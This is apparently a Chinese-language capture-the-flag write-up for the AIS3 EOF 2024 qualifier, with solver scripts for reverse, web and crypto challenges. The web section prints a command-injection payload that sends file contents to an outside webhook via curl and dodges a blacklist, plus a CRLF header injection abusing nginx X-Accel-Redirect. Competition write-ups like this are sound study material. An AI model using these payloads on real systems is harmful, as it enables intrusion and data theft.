AIS3 EOF 2024 Qual Writeup

2024-02-29

Author:堇姬Naup
Rank : 42

image
image

Misc

Welcome

簽到 DC就有

image
image

reverse

Flag Generator

題目會把這坨Block寫進flag.exe(原本看了一陣子,不是很理解她在幹嘛www,後來我突然看懂了那一坨東西我根本不用理解她在幹嘛)

image
image

image
image

直接用x64gdb抓參數,看他把甚麼寫進去就行了
把寫了甚麼截下來,然後包回.exe就行了

image
image

stateful

幸好我都使用工人智慧把式子抓出來

image
image

Correct!!!WRONG!!!,直接去state_machine()看dest怎麼產生。
你會看到50個state,他會經過一堆運算來一個一個呼叫,所以要先搞清楚他到底怎麼呼叫,可以先把他寫的code抓下來,一一標號run一次看順序。
順序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
15
32
45
24
39
27
1
8
12
22
47
23
28
6
37
29
41
18
30
2
48
36
5
16
7
26
9
31
21
3
13
40
43
42
38
25
20
17
10
34
4
44
35
11
50
49
46
19
14
33

最後就是工人智慧了,抓下來,反過來做一遍,就可以還原flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
k_target=[
0x21, 0x5A, 0xEC, 0x33, 0x43, 0xBC, 0x14, 0x74, 0x1C, 0x42, 0x65, 0x75, 0x5F, 0xC4, 0x82, 0xA1, 0x3B, 0xEA, 0x6D, 0xB0, 0xFA, 0x34, 0x6C, 0xA0, 0x2B, 0x72, 0x5F, 0xF0, 0x54, 0x40, 0x29, 0x88, 0xA0, 0x65, 0x53, 0x24, 0xE3, 0xE0, 0x74, 0x60, 0x33, 0xEC, 0x7D
]
k_target[5]-=k_target[37]+k_target[20]#33
k_target[8]-=k_target[14]+k_target[16]#14
k_target[17]-=k_target[38]+k_target[24]#19
k_target[15]-=k_target[40]+k_target[8]#46
k_target[37]-=k_target[12]+k_target[16]#49
k_target[4]-=k_target[6]+k_target[22]#50
k_target[10]+=k_target[12]+k_target[22]#11
k_target[18]-=k_target[26]+k_target[31]#35
k_target[23]-=k_target[30]+k_target[39]#44
k_target[4]-=k_target[27]+k_target[25]#4
k_target[37]-=k_target[27]+k_target[18]#34
k_target[41]+=k_target[3]+k_target[34]#10
k_target[13]-=k_target[26]+k_target[8]#17
k_target[2]-=k_target[34]+k_target[25]#20
k_target[0]-=k_target[28]+k_target[31]#25
k_target[4]-=k_target[7]+k_target[25]#38
k_target[18]-=k_target[29]+k_target[15]#42
k_target[21]+=k_target[13]+k_target[42]#43
k_target[21]-=k_target[34]+k_target[15]#40
k_target[7]-=k_target[10]+k_target[0]#13
k_target[13]-=k_target[25]+k_target[28]#3
k_target[32]-=k_target[5]+k_target[25]#21
k_target[31]-=k_target[1]+k_target[16]#31
k_target[1]-=k_target[16]+k_target[40]#9
k_target[30]+=k_target[13]+k_target[2]#26
k_target[1]-=k_target[15]+k_target[6]#7
k_target[7]-=k_target[21]+k_target[0]#16
k_target[24]-=k_target[20]+k_target[5]#5
k_target[36]-=k_target[11]+k_target[15]#36
k_target[0]-=k_target[33]+k_target[16]#48
k_target[19]-=k_target[10]+k_target[16]#2
k_target[1]+=k_target[29]+k_target[13]#30
k_target[30]+=k_target[33]+k_target[8]#18
k_target[15]-=k_target[22]+k_target[10]#41
k_target[20]-=k_target[19]+k_target[24]#29
k_target[27]-=k_target[18]+k_target[20]#37
k_target[39]+=k_target[25]+k_target[38]#6
k_target[23]-=k_target[7]+k_target[34]#28
k_target[37]+=k_target[29]+k_target[3]#23
k_target[5]-=k_target[40]+k_target[4]#47
k_target[17]-=k_target[0]+k_target[7]#22
k_target[9]-=k_target[11]+k_target[3]#12
k_target[31]-=k_target[34]+k_target[16]#8
k_target[16]-=k_target[25]+k_target[11]#1
k_target[14]+=k_target[32]+k_target[6]#27
k_target[6]-=k_target[10]+k_target[41]#39
k_target[2]-=k_target[11]+k_target[8]#24
k_target[0]+=k_target[18]+k_target[31]#45
k_target[9]+=k_target[2]+k_target[22]#32
k_target[14]-=k_target[35]+k_target[8]#15
for i in k_target:
print(chr(i%128))

人工智慧成功還原FLAG,建議這題改叫人工智慧&工人智慧

image
image

Web

DNS Lookup Tool: Final

題目源代碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
isset($_GET['source']) and die(show_source(__FILE__, true));
?>

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DNS Lookup Tool | Final</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.3/css/bulma.min.css">
</head>

<body>
<section class="section">
<div class="container">
<div class="column is-6 is-offset-3 has-text-centered">
<div class="box">
<h1 class="title">DNS Lookup Tool 🔍 | Final Edition</h1>
<form method="POST">
<div class="field">
<div class="control">
<input class="input" type="text" name="name" placeholder="example.com" id="hostname" value="<?= $_POST['name'] ?? '' ?>">
</div>
</div>
<button class="button is-block is-info is-fullwidth">
Lookup!
</button>
</form>
<br>
<?php if (isset($_POST['name'])) : ?>
<section class="has-text-left">
<p>Lookup result:</p>
<b>
<?php
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'];
$is_input_safe = true;
foreach ($blacklist as $bad_word)
if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;

if ($is_input_safe) {
$retcode = 0;
$output = [];
exec("host {$_POST['name']}", $output, $retcode);
if ($retcode === 0) {
echo "Host {$_POST['name']} is valid!\n";
} else {
echo "Host {$_POST['name']} is invalid!\n";
}
}
else echo "HACKER!!!";
?>
</b>
</section>
<?php endif; ?>
<hr>
<a href="/?source">Source Code</a>
</div>
</div>
</div>
</section>
</body>

</html>

他過濾掉了

1
['|', '&', ';', '>', '<', "\n", 'flag', '*', '?']

而且看到這個推知可以command injection

1
exec("host {$_POST['name']}", $output, $retcode);

我找到一個叫做$()可以執行command
所以我構造了payload

1
$(curl https://webhook.site/33c6a830-fd48-4997-a9e3-6f9f7f82877d -X POST -d "$(ls /)")

用webhook來收根目錄底下有啥
最後直接cat flag(flag被過濾直接用'就可以了)

1
$(curl https://webhook.site/33c6a830-fd48-4997-a9e3-6f9f7f82877d -X POST -d "$(cat /f'l'ag_uPa6TE7GaQ4m9RiV)")

image
image

Internal

這題有夠好玩!
server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import re, os


if os.path.exists("/flag"):
with open("/flag") as f:
FLAG = f.read().strip()
else:
FLAG = os.environ.get("FLAG", "flag{this_is_a_fake_flag}")
URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")


class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/flag":
self.send_response(200)
self.end_headers()
self.wfile.write(FLAG.encode())
return
query = parse_qs(urlparse(self.path).query)
redir = None
if "redir" in query:
redir = query["redir"][0]
if not URL_REGEX.match(redir):
redir = None
self.send_response(302 if redir else 200)
if redir:
self.send_header("Location", redir)
self.end_headers()
self.wfile.write(b"Hello world!")


if __name__ == "__main__":
server = ThreadingHTTPServer(("", 7777), RequestHandler)
server.allow_reuse_address = True
print("Starting server, use <Ctrl-C> to stop")
server.serve_forever()

nginx conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
server {
listen 7778;
listen [::]:7778;
server_name localhost;

location /flag {
internal;
proxy_pass http://web:7777;
}

location / {
proxy_pass http://web:7777;
}
}

一個http server
假如你直接訪問/flag,會因為nginx設定internal,報404,所以只能透過nginx內部來訪問,假如可以用nginx內部來訪問,那他會用http://web:7777 來代理訪問
怎麼用內部訪問可以參考
https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/
X-Accel-Redirect 如果在你訪問的response header就會透過nginx內部來重新導向,所以就直接用%0d%0a來塞進response header
最後構造出

1
redir=https://www.pixiv.net/%0d%0aX-Accel-Redirect:/flag

image
image

Crypto

Baby AES

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from secret import FLAG
from os import urandom
from base64 import b64encode, b64decode

def XOR (a, b):
return l2b(b2l(a) ^ b2l(b)).rjust(len(a), b"\x00")

def counter_add(iv):
return l2b(b2l(iv) + 1).rjust(16, b"\x00")

# These modes of Block Cipher are just like Stream Cipher. Do you know them?
AES_enc = AES.new(urandom(16), AES.MODE_ECB).encrypt
def AES_CFB (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
_ct = XOR(AES_enc(iv), pt[i : i + 16])
iv = _ct
ct += _ct
return ct

def AES_OFB (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
iv = AES_enc(iv)
ct += XOR(iv, pt[i : i + 16])
return ct

def AES_CTR (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
ct += XOR(AES_enc(iv), pt[i : i + 16])
iv = counter_add(iv)
return ct

if __name__ == "__main__":
counter = urandom(16)
c1 = urandom(32)
c2 = urandom(32)
c3 = XOR(XOR(c1, c2), FLAG)
print( f"c1_CFB: ({b64encode(counter)}, {b64encode(AES_CFB(counter, c1))})" )
counter = counter_add(counter)
print( f"c2_OFB: ({b64encode(counter)}, {b64encode(AES_OFB(counter, c2))})" )
counter = counter_add(counter)
print( f"c3_CTR: ({b64encode(counter)}, {b64encode(AES_CTR(counter, c3))})" )

for _ in range(5):
try:
counter = counter_add(counter)
mode = input("What operation mode do you want for encryption? ")
pt = b64decode(input("What message do you want to encrypt (in base64)? "))
pt = pt.ljust( ((len(pt) - 1) // 16 + 1) * 16, b"\x00")
if mode == "CFB":
print( b64encode(counter), b64encode(AES_CFB(counter, pt)) )
elif mode == "OFB":
print( b64encode(counter), b64encode(AES_OFB(counter, pt)) )
elif mode == "CTR":
print( b64encode(counter), b64encode(AES_CTR(counter, pt)) )
else:
print("Sorry, I don't understand.")
except:
print("??")
exit()

這題有給你三個counter跟三個密文(CFB、OFB、CTR)
另外他給你可以任意去選擇你要做甚麼加密的東東(可以做五次),有點小複雜,原本我想說把所有可能性算一遍就好,後來還是認真算了一下
觀察一下

image
image

image
image

image
image

image
image

image
image

image
image

用CTR+CBF的bit-flipping attack來解就可以了
第一步
CTR,b’\x00’

得到 E(Counter4)

第二步
CFB^+b’\x00’*32

拿到 E(Counter2)+E(E(Counter2))

第三步
CFB^+b’\x00’*16

拿到 E(Counter3)

第四步

CFB^+b’\x00’*16

拿到 Counter1+E(Counter1)

第五步
CFB^+b’\x00’*16

拿到 C0加密前前16bytes + E(C0加密後前16bytes)

最後解開後xor一下,就直接拿flag

image
image

Baby RSA

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#! /usr/bin/python3
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
import os

from secret import FLAG
def encrypt(m, e, n):
enc = pow(bytes_to_long(m), e, n)
return enc

def decrypt(c, d, n):
dec = pow(c, d, n)
return long_to_bytes(dec)


if __name__ == "__main__":

while True:
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 3
if phi % e != 0 :
d = pow(e, -1, phi)
break

print(f"{n=}, {e=}")
print("FLAG: ", encrypt(FLAG, e, n))

for _ in range(3):
try:
c = int(input("Any message for me?"))
m = decrypt(c, d, n)
print("How beautiful the message is, it makes me want to destroy it .w.")
new_m = long_to_bytes(bytes_to_long(m) ^ bytes_to_long(os.urandom(8)))
print( "New Message: ", encrypt(new_m, e, n) )
except:
print("?")
exit()

卡超久最後發現最後面送xor的根本就不需要
只要nc三次,你就會拿到三組$N$跟$C$,直接broadcast attack就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gmpy2
import functools
from Crypto.Util.number import *

n0 = 10316315391553788469709948412791562463550596565615204164472972828099047950466813471143123986387365552342464271223023912248958605360272806398489442699786035093131693425532908104988200983778017858899719310301977961318893899216204831413015071126853305937175728922384523755777884362986838660554142140985611028098623233945390065502775165076262456721814605345316368384014749733529954620844119698021412205275709942887117760239889162600139993280126075831930328374647895996386757243132554965639982927004139988915151257934124281151881038518021848561390957287189408904677710721251714203178765186521705675905481676056830206261401
c0 = 7242315589701399080632698908254893771759923699911402371763042741586223809370111267219090033964747871701813531651150281778542108095450097193676365854238186752689769050514594441496948700025645487384065474297370311910784350554887106493778688050692577520540314293316178760087647028075487940589385949830360252965224306608756971707136237680442221158524631878531527672335465880482536158754913129939391995454596086523445870801149618772334122890653872989749644100894513635143919617002349065060533221323933428579177619355912765462446254812310419694654140542243422604511204522320220097147029715126657356591161079939493282600471
n1 =14435449071988696459208381153497320330794550181340228167041842431418045105445237130722967745591980889913586122448164168696571327645230906439628612004758034493688294356523460824338678223234742730815718736876627387317708692550712047353745942134251580687692862942620039264232657194372937310771847896571205404339434216935504833648243279346271487186746795503198091313362543185792278843333795728136979569867389389257918917622528494178844537329893319068117693479912007846769972170430048141279162802430140636137549989418136937277812828775927883901708864647560240806626307848633826325838219039562144357872293976730314104104381
c1 = 2967452224156416166688229982982271853884662786831016540899450614788580313608527251590088294609966622439693845762390441186794075803176948874516911273812965612571759072430137977862062188482091031459374233406317696642200389677358871335797089423928662020661164693420306761296313564160782421166944941189045121826600925623949513636874004739753219124972089303870366863372759152839554397917022701297331947295101862591321148869825679334602387008604263704477253590048626464067353839698702272443725279919647284492529202007860254365279068016346975840505695590242575768559024525282279389057012544170327419580192168533481380196724
n2 = 14502031403044258642872388132630860484235689280447307939362645277356315793262094193765451740096583857519321045745560190040141172481282811548549927241200302800234605140723632737502299229538796521737697963834760133997453746060181285554331241561373088643630363010826263926300785580487794076965939790123370496028800897791243536000678241870885991913894951661171144343977051699314512196304641005136231209787783149256345828948599442683780117732139507918027733674876937855084004540880691600293780143509285690802356679648590851520438969678019678852837688238570252804447380129580081921055804464191039869020864032879496063338743
c2 = 12723035120523468133588008745804775998334959339477050906522329821448953047522680390230825266470958496391335553271465658836595551358612918501508241421451846454227354889175048179216246473783436052435576608824788609123754288594701748571564181175563863309794168503050763928297179931636055760563927000841255731653930727003108608743588138454970503810757334553757438627578305235453408631752702637995545634862917398529651989633362873056449286938030447035324480700836431263938165942018517926616024121287618718680458463407237190313971701048951553614509475271241789859042540362126822746114119985054446634125327663292126896470326

def crt(a, m):

prod, total = functools.reduce(lambda x, y: x * y, m), 0
for ai, mi in zip(a, m):
Mi = prod // mi
total += ai * Mi * (gmpy2.gcdext(Mi, mi)[1] % mi)
return total % prod

c = crt([c0, c1, c2], [n0, n1, n2])
m, _ = gmpy2.iroot(c, 3)
print(long_to_bytes(m))

image
image

不過聽說好像是出爛了,原本不是要broadcast attack。

Baby ECDLP

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from sage.all import *
from Crypto.Util.number import *
from secret import p, q, flag

assert isPrime(p) and isPrime(q)
n = p * q
a, b = matrix(ZZ, [[p, 1], [q, 1]]).solve_right(
vector([p**2 - p**3, q**2 - q**3])
)
E = EllipticCurve(Zmod(n), [a, b])
G = E(p, p) + E(q, q)
C = bytes_to_long(flag) * G

print(f"{a = }")
print(f"{b = }")
print(f"C =", C.xy())

壓線解出來
首先就是算p、q,直接用 sage 解那個三次方程式,不過要取的是那兩個正根,因為p、q是質數,一定是正的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from sage.all import *

x, y = var('x y')

a = -1049512290645561483277399447040672259507710914145558231422452159145941450861058912834056552784840698307176425328594627265181382568207073595223799102540059103656850409121714215271402071402990265653829990643814289333297114436290307127182601793045470624406368512814269833830187545236393724608995894644699923989
b = 330613225413866308562655832653992432640737790102976283577689980446254238304479688134993945656361409867735093176372274589048066502491030816811279723518019832240148759433890104257541015694288688653084062998961288644429744942281764740765767448933787468732728303440425139427370295303413074746846731173227818565326124721081874768870022303341674817123171380954318218908360567200188035652004143989131725183710453256926775457844063169319469

eq4 = x**2 - x**3 - a*x == b
eq5 = y**2 - y**3 - a*y == b

solution = solve([eq4, eq5], x, y, solution_dict=True)
positive_roots = filter(lambda sol: sol[x] > 0 and sol[y] > 0, solution)
x_val = positive_roots[0][x]
y_val = positive_roots[0][y]
print("x =", x_val)
print("y =", y_val)

這樣就可以解出p、q了

然後開始解決
他建立了

並建立在橢圓曲線上選擇了兩個點,然後進行了點加法。
並且這題跟這個很像可以參考。
https://github.com/diogoaj/ctf-writeups/blob/master/2017/picoctf/cryptography/ECC2-200/README.md

1
C = bytes_to_long(flag) * G

可以算出G,接下來就是個ECDLP問題,這題可以先在mod p底下做ECDLP,之後在mod q底下做ECDLP,最後CRT組起來。

1
2
discrete_log(Cp, Gp, operation='+')
discrete_log(Cq, Gq, operation='+')

最後算出來的拿去轉回bytes就行了

1
57366797191231613035327741961845991344248661489459273665787893494679511245498164076089068791122584458195315239399543984814150684970509045350166875864014581887869

image
image

壓線17分鐘搞出來

感想

這次EOF超快樂的,打得比我預計的還要好很多,原本以為大概在70幾名左右www。
單人賽真的硬呀,第一天因為感冒所以只解出了web第一題,之後狀態好了陸陸續續就開始想出來。
第二天,解出了一題web跟crypto,nginx那題我只能說,超級酷。
最後一天狀態蠻好的,把很多題目都想出來,狀態機是真的繁瑣,工人智慧算。另外是那個RSA,被詐欺了兩天,根本不用下面的xor運算www。
最後能算出ECC超讚的,壓線算出來,原本差一點點,最後17分鐘壓線解出來,直接衝到42。(前兩天一直在邊緣徘徊真的很緊張,壓力頗大)

  • 不過copypasta那題真的差一點點啊QQ,如果能看出format string可以塞東西,就可以直接偽造session+Union injection解出500分++
  • 這次的比賽讓我覺得我真的有進步,尤其是web跟crypto,一個解出兩題+差點解出第三題,以及解出三題。
  • 決賽加油,希望可以打進前幾

最後放張解出來的全圖

image
image